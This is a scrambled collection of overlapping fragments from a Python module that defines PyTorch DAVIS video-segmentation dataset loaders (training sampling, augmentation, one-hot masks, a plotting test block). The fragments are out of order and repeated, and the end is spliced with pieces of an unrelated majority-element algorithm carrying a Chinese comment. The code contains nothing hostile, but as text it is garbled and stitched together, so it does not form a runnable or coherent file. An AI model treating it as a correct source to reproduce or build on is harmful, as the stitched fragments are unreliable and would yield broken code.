"load_image_in_PIL(mask_list[frame_idx], 'P') if i > 0: img = self.color_jitter(img) img, mask = self.random_affine(img,",
"from utils.system import load_image_in_PIL, gct import matplotlib.pyplot as plt from PIL import Image",
"__name__ == '__main__': ds = DAVIS_Train('/public/datasets/DAVIS', output_size=(240, 427), max_obj_n=6) trainloader = data.DataLoader(ds, batch_size=1,",
"= mytrans.Resize(output_size) self.to_tensor = TF.ToTensor() self.normalize = TF.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])",
"self.random_affine = mytrans.RandomAffine(degrees=15, translate=(0.1, 0.1), scale=(0.95, 1.05), shear=10) if self.crop: self.random_resize_crop = mytrans.RandomResizedCrop(400,",
"= sorted(glob(os.path.join(mask_dir, '*.png'))) img_n = len(img_list) obj_n = 1 while obj_n == 1:",
") else: single_obj = (cfg.DATA.VAL.DATASET_NAME == 'DAVIS16') return DAVIS_Test( root=cfg.DATA.DAVIS_ROOT, single_obj=single_obj ) if",
"if train: return DAVIS_Train( root=cfg.DATA.DAVIS_ROOT, output_size=cfg.DATA.SIZE, clip_n=cfg.DATA.TRAIN.FRAMES_PER_CLIP, max_obj_n=cfg.DATA.TRAIN.MAX_OBJECTS, max_skip=cfg.DATA.TRAIN.DAVIS_SKIP_INCREMENT[0], increment=cfg.DATA.TRAIN.DAVIS_SKIP_INCREMENT[1], samples=cfg.DATA.TRAIN.SAMPLES_PER_VIDEO, choice=cfg.DATA.TRAIN.SAMPLE_CHOICE, crop=cfg.DATA.TRAIN.CROP",
"3, h, w), dtype=torch.float) masks = torch.zeros((1, obj_n, h, w), dtype=torch.float) mask, _",
"self.dataset_list.append(dataset_name) print(f'\\t\"DAVIS17\": {len(self.dataset_list)} videos.') self.random_horizontal_flip = mytrans.RandomHorizontalFlip(0.3) self.color_jitter = TF.ColorJitter(0.1, 0.1, 0.1, 0.02)",
"video_name = self.dataset_list[idx//self.smaples] img_dir = os.path.join(self.root, 'JPEGImages', '480p', video_name) mask_dir = os.path.join(self.root, 'Annotations',",
"2, 0)) plt.pause(0.01) for k in range(mask.shape[0]): ax = fig.add_subplot(2, 3, i*6+4+k) ax.axis('off')",
"data[2][0] frame, mask = frame[:3], mask[:3] print(torch.max(mask), torch.min(mask)) fig = plt.figure() for j",
"__init__(self, root, output_size=None, img_set='2017/val.txt', max_obj_n=11, single_obj=False): self.root = root self.single_obj = single_obj dataset_path",
"'original_size': (original_h, original_w) } return frames, masks, obj_n, info def build_davis(cfg, train=True): if",
"<reponame>sallymmx/TransVOS import os import numpy as np from glob import glob import random",
"self.sample_choice == 'random': idx_list = list(range(img_n)) random.shuffle(idx_list) sample_n = min(self.clip_n, img_n) idx_list =",
"range(mask.shape[0]): ax = fig.add_subplot(2, 3, i*6+4+k) ax.axis('off') # ax.imshow(np.array(mask[k, 0], dtype=np.uint8)) ax.imshow(convert_one_hot(np.array(mask[k],dtype=np.uint8).transpose(1, 2,",
"'name': video_name, 'idx_list': idx_list } return frames, masks, obj_n, info class DAVIS_Test(data.Dataset): r'''",
"'num_frames': video_len, 'original_size': (original_h, original_w) } return frames, masks, obj_n, info def build_davis(cfg,",
"return DAVIS_Train( root=cfg.DATA.DAVIS_ROOT, output_size=cfg.DATA.SIZE, clip_n=cfg.DATA.TRAIN.FRAMES_PER_CLIP, max_obj_n=cfg.DATA.TRAIN.MAX_OBJECTS, max_skip=cfg.DATA.TRAIN.DAVIS_SKIP_INCREMENT[0], increment=cfg.DATA.TRAIN.DAVIS_SKIP_INCREMENT[1], samples=cfg.DATA.TRAIN.SAMPLES_PER_VIDEO, choice=cfg.DATA.TRAIN.SAMPLE_CHOICE, crop=cfg.DATA.TRAIN.CROP ) else:",
"num_obj = data[0][0], data[1][0], data[2][0] frame, mask = frame[:3], mask[:3] print(torch.max(mask), torch.min(mask)) fig",
"torch.zeros((self.clip_n, self.max_obj_n, *self.output_size), dtype=torch.float) else: frames = torch.zeros((self.clip_n, 3, 400, 400), dtype=torch.float) masks",
"self.normalize = TF.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) self.to_onehot = mytrans.ToOnehot(max_obj_n, shuffle=False) def",
"line in lines: dataset_name = line.strip() if len(dataset_name) > 0: self.dataset_list.append(dataset_name) print(f'\\t\"DAVIS17\": {len(self.dataset_list)}",
"mask = load_image_in_PIL(mask_list[frame_idx], 'P') if i > 0: img = self.color_jitter(img) img, mask",
"self.max_obj_n, 400, 400), dtype=torch.float) for i, frame_idx in enumerate(idx_list): img = load_image_in_PIL(img_list[frame_idx], 'RGB')",
"= os.path.join(root, 'ImageSets', img_set) self.dataset_list = list() self.output_size = output_size with open(os.path.join(dataset_path), 'r')",
"= self.resize(img, mask) mask = np.array(mask, np.uint8) if i == 0: mask, obj_list",
"sorted(glob(os.path.join(mask_dir, '*.png'))) first_mask = load_image_in_PIL(mask_list[0], 'P') original_w, original_h = first_mask.size if self.output_size: out_h,",
"i in range(video_len): img = load_image_in_PIL(img_list[i], 'RGB') img = img.resize((w, h), Image.BILINEAR) frames[i]",
"frames[i] = self.normalize(self.to_tensor(img)) info = { 'name': video_name, 'num_frames': video_len, 'original_size': (original_h, original_w)",
"1), (0.95, 1.05)) else: self.resize = mytrans.Resize(output_size) self.to_tensor = TF.ToTensor() self.normalize = TF.Normalize(mean=[0.485,",
"- output_size: output size of image and mask, tuple - imset - max_obj_n:",
"objects in a image for training, int ''' MAX_TRAINING_SKIP = 100 def __init__(self,",
"= mytrans.ToOnehot(max_obj_n, shuffle=True) def increase_max_skip(self): self.max_skip = min(self.max_skip + self.increment, self.MAX_TRAINING_SKIP) def set_max_skip(self,",
"= original_h, original_w else: h = out_h w = int(original_w / original_h *",
"def __len__(self): return len(self.dataset_list) def __getitem__(self, idx): video_name = self.dataset_list[idx] img_dir = os.path.join(self.root,",
"= torch.zeros((self.clip_n, self.max_obj_n, *self.output_size), dtype=torch.float) else: frames = torch.zeros((self.clip_n, 3, 400, 400), dtype=torch.float)",
"with open(os.path.join(dataset_path), 'r') as lines: for line in lines: dataset_name = line.strip() if",
"== 'random': idx_list = list(range(img_n)) random.shuffle(idx_list) sample_n = min(self.clip_n, img_n) idx_list = idx_list[:sample_n]",
"self.sample_choice = choice self.crop = crop dataset_path = os.path.join(root, 'ImageSets', imset) self.dataset_list =",
"as np from glob import glob import random import torch from torch.utils import",
"400, 400), dtype=torch.float) masks = torch.zeros((self.clip_n, self.max_obj_n, 400, 400), dtype=torch.float) for i, frame_idx",
"dtype=torch.float) masks = torch.zeros((1, obj_n, h, w), dtype=torch.float) mask, _ = self.to_onehot(first_mask_np) masks[0]",
"training, int - max_obj_n: maximum number of objects in a image for training,",
"info = { 'name': video_name, 'num_frames': video_len, 'original_size': (original_h, original_w) } return frames,",
"root=cfg.DATA.DAVIS_ROOT, single_obj=single_obj ) if __name__ == '__main__': ds = DAVIS_Train('/public/datasets/DAVIS', output_size=(240, 427), max_obj_n=6)",
"idx_list = list(range(img_n)) random.shuffle(idx_list) sample_n = min(self.clip_n, img_n) idx_list = idx_list[:sample_n] else: raise",
"dataset_path = os.path.join(root, 'ImageSets', img_set) self.dataset_list = list() self.output_size = output_size with open(os.path.join(dataset_path),",
"original_w else: h = out_h w = int(original_w / original_h * out_h) #",
"0.406], std=[0.229, 0.224, 0.225]) self.to_onehot = mytrans.ToOnehot(max_obj_n, shuffle=True) def increase_max_skip(self): self.max_skip = min(self.max_skip",
"from torch.utils import data import torchvision.transforms as TF import datasets.transform as mytrans from",
"masks[i] = mask info = { 'name': video_name, 'idx_list': idx_list } return frames,",
"= line.strip() if len(dataset_name) > 0: self.dataset_list.append(dataset_name) self.to_tensor = TF.ToTensor() self.normalize = TF.Normalize(mean=[0.485,",
"in a image for training, int ''' MAX_TRAINING_SKIP = 100 def __init__(self, root,",
"data[2], data[3][0]) frame, mask, num_obj = data[0][0], data[1][0], data[2][0] frame, mask = frame[:3],",
"return frames, masks, obj_n, info class DAVIS_Test(data.Dataset): r''' - root: data root path,",
"samples=cfg.DATA.TRAIN.SAMPLES_PER_VIDEO, choice=cfg.DATA.TRAIN.SAMPLE_CHOICE, crop=cfg.DATA.TRAIN.CROP ) else: single_obj = (cfg.DATA.VAL.DATASET_NAME == 'DAVIS16') return DAVIS_Test( root=cfg.DATA.DAVIS_ROOT,",
"import Image from datasets.data_utils import multibatch_collate_fn, convert_one_hot class DAVIS_Train(data.Dataset): r''' - root: data",
"> 0: self.dataset_list.append(dataset_name) self.to_tensor = TF.ToTensor() self.normalize = TF.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224,",
"= os.path.join(self.root, 'JPEGImages', '480p', video_name) mask_dir = os.path.join(self.root, 'Annotations', '480p', video_name) img_list =",
"collate_fn=multibatch_collate_fn, drop_last=True) i, data = next(enumerate(trainloader)) print(data[0].shape, data[1].shape, data[2], data[3][0]) frame, mask, num_obj",
"def __getitem__(self, idx): video_name = self.dataset_list[idx] img_dir = os.path.join(self.root, 'JPEGImages', '480p', video_name) mask_dir",
"not self.crop: frames = torch.zeros((self.clip_n, 3, *self.output_size), dtype=torch.float) masks = torch.zeros((self.clip_n, self.max_obj_n, *self.output_size),",
"= increment self.smaples = samples self.sample_choice = choice self.crop = crop dataset_path =",
"out_h, out_w = self.output_size if original_h < out_h: h, w = original_h, original_w",
"return frames, masks, obj_n, info def build_davis(cfg, train=True): if train: return DAVIS_Train( root=cfg.DATA.DAVIS_ROOT,",
"mask, obj_list = self.to_onehot(mask) obj_n = len(obj_list) + 1 else: mask, _ =",
"std=[0.229, 0.224, 0.225]) self.to_onehot = mytrans.ToOnehot(max_obj_n, shuffle=False) def __len__(self): return len(self.dataset_list) def __getitem__(self,",
"1] = 1 obj_n = first_mask_np.max() + 1 video_len = len(img_list) frames =",
"0.1, 0.02) self.random_affine = mytrans.RandomAffine(degrees=15, translate=(0.1, 0.1), scale=(0.95, 1.05), shear=10) if self.crop: self.random_resize_crop",
"mask, _ = self.to_onehot(first_mask_np) masks[0] = mask[:obj_n] for i in range(video_len): img =",
"= TF.ToTensor() self.normalize = TF.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) self.to_onehot = mytrans.ToOnehot(max_obj_n,",
"mask_list = sorted(glob(os.path.join(mask_dir, '*.png'))) img_n = len(img_list) obj_n = 1 while obj_n ==",
"as mytrans from utils.system import load_image_in_PIL, gct import matplotlib.pyplot as plt from PIL",
"glob import glob import random import torch from torch.utils import data import torchvision.transforms",
"output_size with open(os.path.join(dataset_path), 'r') as lines: for line in lines: dataset_name = line.strip()",
"= frame[:3], mask[:3] print(torch.max(mask), torch.min(mask)) fig = plt.figure() for j in range(frame.shape[0]): ax",
"''' MAX_TRAINING_SKIP = 100 def __init__(self, root, output_size, imset='2017/train.txt', clip_n=3, max_obj_n=7, max_skip=5, increment=5,",
"img, mask = self.resize(img, mask) mask = np.array(mask, np.uint8) if i == 0:",
"= list() self.output_size = output_size with open(os.path.join(dataset_path), 'r') as lines: for line in",
"samples self.sample_choice = choice self.crop = crop dataset_path = os.path.join(root, 'ImageSets', imset) self.dataset_list",
"idx_list = list() last_sample = -1 sample_n = min(self.clip_n, img_n) for i in",
"root self.single_obj = single_obj dataset_path = os.path.join(root, 'ImageSets', img_set) self.dataset_list = list() self.output_size",
"clip_n self.output_size = output_size self.max_obj_n = max_obj_n self.max_skip = max_skip self.increment = increment",
"w = original_h, original_w first_mask = first_mask.resize((w, h), Image.NEAREST) first_mask_np = np.array(first_mask, np.uint8)",
"import datasets.transform as mytrans from utils.system import load_image_in_PIL, gct import matplotlib.pyplot as plt",
"video_name) img_list = sorted(glob(os.path.join(img_dir, '*.jpg'))) mask_list = sorted(glob(os.path.join(mask_dir, '*.png'))) first_mask = load_image_in_PIL(mask_list[0], 'P')",
"multibatch_collate_fn, convert_one_hot class DAVIS_Train(data.Dataset): r''' - root: data root path, str - output_size:",
"3, *self.output_size), dtype=torch.float) masks = torch.zeros((self.clip_n, self.max_obj_n, *self.output_size), dtype=torch.float) else: frames = torch.zeros((self.clip_n,",
"i > 0: img = self.color_jitter(img) img, mask = self.random_affine(img, mask) if self.crop:",
"crop=False): self.root = root self.clip_n = clip_n self.output_size = output_size self.max_obj_n = max_obj_n",
"= mytrans.RandomHorizontalFlip(0.3) self.color_jitter = TF.ColorJitter(0.1, 0.1, 0.1, 0.02) self.random_affine = mytrans.RandomAffine(degrees=15, translate=(0.1, 0.1),",
"gct import matplotlib.pyplot as plt from PIL import Image from datasets.data_utils import multibatch_collate_fn,",
"range(sample_n): if i == 0: last_sample = random.choice(range(0, img_n-sample_n+1)) else: last_sample = random.choice(",
"< out_h: h, w = original_h, original_w else: h = out_h w =",
"first_mask = first_mask.resize((w, h), Image.NEAREST) first_mask_np = np.array(first_mask, np.uint8) if self.single_obj: first_mask_np[first_mask_np >",
"single_obj = (cfg.DATA.VAL.DATASET_NAME == 'DAVIS16') return DAVIS_Test( root=cfg.DATA.DAVIS_ROOT, single_obj=single_obj ) if __name__ ==",
"os.path.join(self.root, 'JPEGImages', '480p', video_name) mask_dir = os.path.join(self.root, 'Annotations', '480p', video_name) img_list = sorted(glob(os.path.join(img_dir,",
"imset) self.dataset_list = list() with open(os.path.join(dataset_path), 'r') as lines: for line in lines:",
"= torch.zeros((self.clip_n, 3, *self.output_size), dtype=torch.float) masks = torch.zeros((self.clip_n, self.max_obj_n, *self.output_size), dtype=torch.float) else: frames",
"dtype=torch.float) masks = torch.zeros((self.clip_n, self.max_obj_n, 400, 400), dtype=torch.float) for i, frame_idx in enumerate(idx_list):",
"i, frame_idx in enumerate(idx_list): img = load_image_in_PIL(img_list[frame_idx], 'RGB') mask = load_image_in_PIL(mask_list[frame_idx], 'P') if",
"open(os.path.join(dataset_path), 'r') as lines: for line in lines: dataset_name = line.strip() if len(dataset_name)",
"(0.95, 1.05)) else: self.resize = mytrans.Resize(output_size) self.to_tensor = TF.ToTensor() self.normalize = TF.Normalize(mean=[0.485, 0.456,",
"import glob import random import torch from torch.utils import data import torchvision.transforms as",
"self.clip_n = clip_n self.output_size = output_size self.max_obj_n = max_obj_n self.max_skip = max_skip self.increment",
"DAVIS_Test( root=cfg.DATA.DAVIS_ROOT, single_obj=single_obj ) if __name__ == '__main__': ds = DAVIS_Train('/public/datasets/DAVIS', output_size=(240, 427),",
"translate=(0.1, 0.1), scale=(0.95, 1.05), shear=10) if self.crop: self.random_resize_crop = mytrans.RandomResizedCrop(400, (0.8, 1), (0.95,",
"i == 0: mask, obj_list = self.to_onehot(mask) obj_n = len(obj_list) + 1 else:",
"= mask[:obj_n] for i in range(video_len): img = load_image_in_PIL(img_list[i], 'RGB') img = img.resize((w,",
"obj_n, h, w), dtype=torch.float) mask, _ = self.to_onehot(first_mask_np) masks[0] = mask[:obj_n] for i",
"short video idx_list.append(idx_list[-1]) if not self.crop: frames = torch.zeros((self.clip_n, 3, *self.output_size), dtype=torch.float) masks",
"trainloader = data.DataLoader(ds, batch_size=1, shuffle=True, num_workers=1, collate_fn=multibatch_collate_fn, drop_last=True) i, data = next(enumerate(trainloader)) print(data[0].shape,",
"= line.strip() if len(dataset_name) > 0: self.dataset_list.append(dataset_name) print(f'\\t\"DAVIS17\": {len(self.dataset_list)} videos.') self.random_horizontal_flip = mytrans.RandomHorizontalFlip(0.3)",
"= np.array(mask, np.uint8) if i == 0: mask, obj_list = self.to_onehot(mask) obj_n =",
"imset - max_obj_n: maximum number of objects in a image for training, int",
"self.normalize = TF.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) self.to_onehot = mytrans.ToOnehot(max_obj_n, shuffle=True) def",
"original_h * out_h) # h = self.out_h # w = self.out_w else: h,",
"* out_h) # h = self.out_h # w = self.out_w else: h, w",
"import random import torch from torch.utils import data import torchvision.transforms as TF import",
"= output_size with open(os.path.join(dataset_path), 'r') as lines: for line in lines: dataset_name =",
"= sorted(glob(os.path.join(mask_dir, '*.png'))) first_mask = load_image_in_PIL(mask_list[0], 'P') original_w, original_h = first_mask.size if self.output_size:",
"torch.zeros((video_len, 3, h, w), dtype=torch.float) masks = torch.zeros((1, obj_n, h, w), dtype=torch.float) mask,",
"__init__(self, root, output_size, imset='2017/train.txt', clip_n=3, max_obj_n=7, max_skip=5, increment=5, samples=2, choice='order', crop=False): self.root =",
"self.output_size = output_size self.max_obj_n = max_obj_n self.max_skip = max_skip self.increment = increment self.smaples",
"mask = frame[:3], mask[:3] print(torch.max(mask), torch.min(mask)) fig = plt.figure() for j in range(frame.shape[0]):",
"'P') original_w, original_h = first_mask.size if self.output_size: out_h, out_w = self.output_size if original_h",
"'480p', video_name) mask_dir = os.path.join(self.root, 'Annotations', '480p', video_name) img_list = sorted(glob(os.path.join(img_dir, '*.jpg'))) mask_list",
"mask = self.random_resize_crop(img, mask) else: img, mask = self.resize(img, mask) mask = np.array(mask,",
"'Annotations', '480p', video_name) img_list = sorted(glob(os.path.join(img_dir, '*.jpg'))) mask_list = sorted(glob(os.path.join(mask_dir, '*.png'))) first_mask =",
"first_mask_np[first_mask_np > 1] = 1 obj_n = first_mask_np.max() + 1 video_len = len(img_list)",
"datasets.transform as mytrans from utils.system import load_image_in_PIL, gct import matplotlib.pyplot as plt from",
"= idx_list[:sample_n] else: raise NotImplementedError() while len(idx_list) < self.clip_n: # short video idx_list.append(idx_list[-1])",
"last_sample = random.choice( range(last_sample+1, min(last_sample+self.max_skip+1, img_n-sample_n+i+1))) idx_list.append(last_sample) elif self.sample_choice == 'random': idx_list =",
"+ self.increment, self.MAX_TRAINING_SKIP) def set_max_skip(self, max_skip): self.max_skip = max_skip def __len__(self): return len(self.dataset_list)",
"frames[i] = self.normalize(self.to_tensor(img)) masks[i] = mask info = { 'name': video_name, 'idx_list': idx_list",
"def __len__(self): return len(self.dataset_list) * self.smaples def __getitem__(self, idx): video_name = self.dataset_list[idx//self.smaples] img_dir",
"- imset - max_obj_n: maximum number of objects in a image for training,",
"for training, int ''' def __init__(self, root, output_size=None, img_set='2017/val.txt', max_obj_n=11, single_obj=False): self.root =",
"set_max_skip(self, max_skip): self.max_skip = max_skip def __len__(self): return len(self.dataset_list) * self.smaples def __getitem__(self,",
"'idx_list': idx_list } return frames, masks, obj_n, info class DAVIS_Test(data.Dataset): r''' - root:",
"= single_obj dataset_path = os.path.join(root, 'ImageSets', img_set) self.dataset_list = list() self.output_size = output_size",
"while len(idx_list) < self.clip_n: # short video idx_list.append(idx_list[-1]) if not self.crop: frames =",
"mytrans.ToOnehot(max_obj_n, shuffle=True) def increase_max_skip(self): self.max_skip = min(self.max_skip + self.increment, self.MAX_TRAINING_SKIP) def set_max_skip(self, max_skip):",
"img_list = sorted(glob(os.path.join(img_dir, '*.jpg'))) mask_list = sorted(glob(os.path.join(mask_dir, '*.png'))) img_n = len(img_list) obj_n =",
"*self.output_size), dtype=torch.float) masks = torch.zeros((self.clip_n, self.max_obj_n, *self.output_size), dtype=torch.float) else: frames = torch.zeros((self.clip_n, 3,",
"single_obj dataset_path = os.path.join(root, 'ImageSets', img_set) self.dataset_list = list() self.output_size = output_size with",
"random.choice( range(last_sample+1, min(last_sample+self.max_skip+1, img_n-sample_n+i+1))) idx_list.append(last_sample) elif self.sample_choice == 'random': idx_list = list(range(img_n)) random.shuffle(idx_list)",
"= self.normalize(self.to_tensor(img)) info = { 'name': video_name, 'num_frames': video_len, 'original_size': (original_h, original_w) }",
"self.random_resize_crop = mytrans.RandomResizedCrop(400, (0.8, 1), (0.95, 1.05)) else: self.resize = mytrans.Resize(output_size) self.to_tensor =",
"i, data = next(enumerate(trainloader)) print(data[0].shape, data[1].shape, data[2], data[3][0]) frame, mask, num_obj = data[0][0],",
"data root path, str - output_size: output size of image and mask, tuple",
"train: return DAVIS_Train( root=cfg.DATA.DAVIS_ROOT, output_size=cfg.DATA.SIZE, clip_n=cfg.DATA.TRAIN.FRAMES_PER_CLIP, max_obj_n=cfg.DATA.TRAIN.MAX_OBJECTS, max_skip=cfg.DATA.TRAIN.DAVIS_SKIP_INCREMENT[0], increment=cfg.DATA.TRAIN.DAVIS_SKIP_INCREMENT[1], samples=cfg.DATA.TRAIN.SAMPLES_PER_VIDEO, choice=cfg.DATA.TRAIN.SAMPLE_CHOICE, crop=cfg.DATA.TRAIN.CROP )",
"random import torch from torch.utils import data import torchvision.transforms as TF import datasets.transform",
"self.increment = increment self.smaples = samples self.sample_choice = choice self.crop = crop dataset_path",
"= len(obj_list) + 1 else: mask, _ = self.to_onehot(mask, obj_list) frames[i] = self.normalize(self.to_tensor(img))",
"info class DAVIS_Test(data.Dataset): r''' - root: data root path, str - output_size: output",
"root self.clip_n = clip_n self.output_size = output_size self.max_obj_n = max_obj_n self.max_skip = max_skip",
"self.to_onehot(mask, obj_list) frames[i] = self.normalize(self.to_tensor(img)) masks[i] = mask info = { 'name': video_name,",
"masks, obj_n, info class DAVIS_Test(data.Dataset): r''' - root: data root path, str -",
"self.to_tensor = TF.ToTensor() self.normalize = TF.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) self.to_onehot =",
"h), Image.NEAREST) first_mask_np = np.array(first_mask, np.uint8) if self.single_obj: first_mask_np[first_mask_np > 1] = 1",
"= clip_n self.output_size = output_size self.max_obj_n = max_obj_n self.max_skip = max_skip self.increment =",
"self.crop: self.random_resize_crop = mytrans.RandomResizedCrop(400, (0.8, 1), (0.95, 1.05)) else: self.resize = mytrans.Resize(output_size) self.to_tensor",
"if original_h < out_h: h, w = original_h, original_w else: h = out_h",
"ax.imshow(np.array(mask[k, 0], dtype=np.uint8)) ax.imshow(convert_one_hot(np.array(mask[k],dtype=np.uint8).transpose(1, 2, 0), num_obj.item())) plt.pause(0.01) # plt.imsave('test{}.png'.format(k), convert_one_hot(np.array(mask[k],dtype=np.uint8).transpose(1, 2, 0),",
"out_h: h, w = original_h, original_w else: h = out_h w = int(original_w",
"as TF import datasets.transform as mytrans from utils.system import load_image_in_PIL, gct import matplotlib.pyplot",
"torch from torch.utils import data import torchvision.transforms as TF import datasets.transform as mytrans",
"mytrans.RandomHorizontalFlip(0.3) self.color_jitter = TF.ColorJitter(0.1, 0.1, 0.1, 0.02) self.random_affine = mytrans.RandomAffine(degrees=15, translate=(0.1, 0.1), scale=(0.95,",
"len(idx_list) < self.clip_n: # short video idx_list.append(idx_list[-1]) if not self.crop: frames = torch.zeros((self.clip_n,",
"if i > 0: img = self.color_jitter(img) img, mask = self.random_affine(img, mask) if",
"idx_list[:sample_n] else: raise NotImplementedError() while len(idx_list) < self.clip_n: # short video idx_list.append(idx_list[-1]) if",
") if __name__ == '__main__': ds = DAVIS_Train('/public/datasets/DAVIS', output_size=(240, 427), max_obj_n=6) trainloader =",
"crop dataset_path = os.path.join(root, 'ImageSets', imset) self.dataset_list = list() with open(os.path.join(dataset_path), 'r') as",
"= TF.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) self.to_onehot = mytrans.ToOnehot(max_obj_n, shuffle=True) def increase_max_skip(self):",
"self.smaples = samples self.sample_choice = choice self.crop = crop dataset_path = os.path.join(root, 'ImageSets',",
"output_size self.max_obj_n = max_obj_n self.max_skip = max_skip self.increment = increment self.smaples = samples",
"= choice self.crop = crop dataset_path = os.path.join(root, 'ImageSets', imset) self.dataset_list = list()",
"self.dataset_list.append(dataset_name) self.to_tensor = TF.ToTensor() self.normalize = TF.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) self.to_onehot",
"in range(frame.shape[0]): ax = fig.add_subplot(2, 3, i*6+j+1) ax.axis('off') ax.imshow(frame[j].numpy().transpose(1, 2, 0)) plt.pause(0.01) for",
"enumerate(idx_list): img = load_image_in_PIL(img_list[frame_idx], 'RGB') mask = load_image_in_PIL(mask_list[frame_idx], 'P') if i > 0:",
"number of objects in a image for training, int ''' MAX_TRAINING_SKIP = 100",
"= -1 sample_n = min(self.clip_n, img_n) for i in range(sample_n): if i ==",
"# w = self.out_w else: h, w = original_h, original_w first_mask = first_mask.resize((w,",
"else: self.resize = mytrans.Resize(output_size) self.to_tensor = TF.ToTensor() self.normalize = TF.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229,",
"plt from PIL import Image from datasets.data_utils import multibatch_collate_fn, convert_one_hot class DAVIS_Train(data.Dataset): r'''",
"dataset_path = os.path.join(root, 'ImageSets', imset) self.dataset_list = list() with open(os.path.join(dataset_path), 'r') as lines:",
"w = original_h, original_w else: h = out_h w = int(original_w / original_h",
"self.increment, self.MAX_TRAINING_SKIP) def set_max_skip(self, max_skip): self.max_skip = max_skip def __len__(self): return len(self.dataset_list) *",
"video clip for training, int - max_obj_n: maximum number of objects in a",
"self.normalize(self.to_tensor(img)) masks[i] = mask info = { 'name': video_name, 'idx_list': idx_list } return",
"while obj_n == 1: if self.sample_choice == 'order': idx_list = list() last_sample =",
"= data.DataLoader(ds, batch_size=1, shuffle=True, num_workers=1, collate_fn=multibatch_collate_fn, drop_last=True) i, data = next(enumerate(trainloader)) print(data[0].shape, data[1].shape,",
"- root: data root path, str - output_size: output size of image and",
"data import torchvision.transforms as TF import datasets.transform as mytrans from utils.system import load_image_in_PIL,",
"if self.crop: self.random_resize_crop = mytrans.RandomResizedCrop(400, (0.8, 1), (0.95, 1.05)) else: self.resize = mytrans.Resize(output_size)",
"0: mask, obj_list = self.to_onehot(mask) obj_n = len(obj_list) + 1 else: mask, _",
"for i in range(sample_n): if i == 0: last_sample = random.choice(range(0, img_n-sample_n+1)) else:",
"import load_image_in_PIL, gct import matplotlib.pyplot as plt from PIL import Image from datasets.data_utils",
"= load_image_in_PIL(mask_list[frame_idx], 'P') if i > 0: img = self.color_jitter(img) img, mask =",
"dtype=np.uint8)) ax.imshow(convert_one_hot(np.array(mask[k],dtype=np.uint8).transpose(1, 2, 0), num_obj.item())) plt.pause(0.01) # plt.imsave('test{}.png'.format(k), convert_one_hot(np.array(mask[k],dtype=np.uint8).transpose(1, 2, 0), num_obj.item())) fig.savefig(\"test.png\")",
"= torch.zeros((self.clip_n, self.max_obj_n, 400, 400), dtype=torch.float) for i, frame_idx in enumerate(idx_list): img =",
"data[1][0], data[2][0] frame, mask = frame[:3], mask[:3] print(torch.max(mask), torch.min(mask)) fig = plt.figure() for",
"lines: dataset_name = line.strip() if len(dataset_name) > 0: self.dataset_list.append(dataset_name) print(f'\\t\"DAVIS17\": {len(self.dataset_list)} videos.') self.random_horizontal_flip",
"= max_skip self.increment = increment self.smaples = samples self.sample_choice = choice self.crop =",
"max_skip def __len__(self): return len(self.dataset_list) * self.smaples def __getitem__(self, idx): video_name = self.dataset_list[idx//self.smaples]",
"import os import numpy as np from glob import glob import random import",
"3, 400, 400), dtype=torch.float) masks = torch.zeros((self.clip_n, self.max_obj_n, 400, 400), dtype=torch.float) for i,",
"self.to_onehot = mytrans.ToOnehot(max_obj_n, shuffle=False) def __len__(self): return len(self.dataset_list) def __getitem__(self, idx): video_name =",
"= first_mask.size if self.output_size: out_h, out_w = self.output_size if original_h < out_h: h,",
"= min(self.max_skip + self.increment, self.MAX_TRAINING_SKIP) def set_max_skip(self, max_skip): self.max_skip = max_skip def __len__(self):",
"return len(self.dataset_list) * self.smaples def __getitem__(self, idx): video_name = self.dataset_list[idx//self.smaples] img_dir = os.path.join(self.root,",
"image and mask, tuple - imset - max_obj_n: maximum number of objects in",
"video_len = len(img_list) frames = torch.zeros((video_len, 3, h, w), dtype=torch.float) masks = torch.zeros((1,",
"and mask, tuple - imset - max_obj_n: maximum number of objects in a",
"3, i*6+j+1) ax.axis('off') ax.imshow(frame[j].numpy().transpose(1, 2, 0)) plt.pause(0.01) for k in range(mask.shape[0]): ax =",
"self.to_onehot(first_mask_np) masks[0] = mask[:obj_n] for i in range(video_len): img = load_image_in_PIL(img_list[i], 'RGB') img",
"original_h, original_w else: h = out_h w = int(original_w / original_h * out_h)",
"100 def __init__(self, root, output_size, imset='2017/train.txt', clip_n=3, max_obj_n=7, max_skip=5, increment=5, samples=2, choice='order', crop=False):",
"print(torch.max(mask), torch.min(mask)) fig = plt.figure() for j in range(frame.shape[0]): ax = fig.add_subplot(2, 3,",
"h, w = original_h, original_w first_mask = first_mask.resize((w, h), Image.NEAREST) first_mask_np = np.array(first_mask,",
"= self.out_h # w = self.out_w else: h, w = original_h, original_w first_mask",
"img_set) self.dataset_list = list() self.output_size = output_size with open(os.path.join(dataset_path), 'r') as lines: for",
"img = self.color_jitter(img) img, mask = self.random_affine(img, mask) if self.crop: img, mask =",
"1.05)) else: self.resize = mytrans.Resize(output_size) self.to_tensor = TF.ToTensor() self.normalize = TF.Normalize(mean=[0.485, 0.456, 0.406],",
"original_w) } return frames, masks, obj_n, info def build_davis(cfg, train=True): if train: return",
"from PIL import Image from datasets.data_utils import multibatch_collate_fn, convert_one_hot class DAVIS_Train(data.Dataset): r''' -",
"= root self.clip_n = clip_n self.output_size = output_size self.max_obj_n = max_obj_n self.max_skip =",
"= load_image_in_PIL(img_list[frame_idx], 'RGB') mask = load_image_in_PIL(mask_list[frame_idx], 'P') if i > 0: img =",
"fig = plt.figure() for j in range(frame.shape[0]): ax = fig.add_subplot(2, 3, i*6+j+1) ax.axis('off')",
"'order': idx_list = list() last_sample = -1 sample_n = min(self.clip_n, img_n) for i",
"convert_one_hot class DAVIS_Train(data.Dataset): r''' - root: data root path, str - output_size: output",
"min(self.clip_n, img_n) idx_list = idx_list[:sample_n] else: raise NotImplementedError() while len(idx_list) < self.clip_n: #"
] |
[
"= 0 cnt2 = 0 for num in nums: if num == n1:",
"num cnt2 += 1 else: cnt1 -= 1 cnt2 -= 1 # 筛选出现次数超过三分之一的",
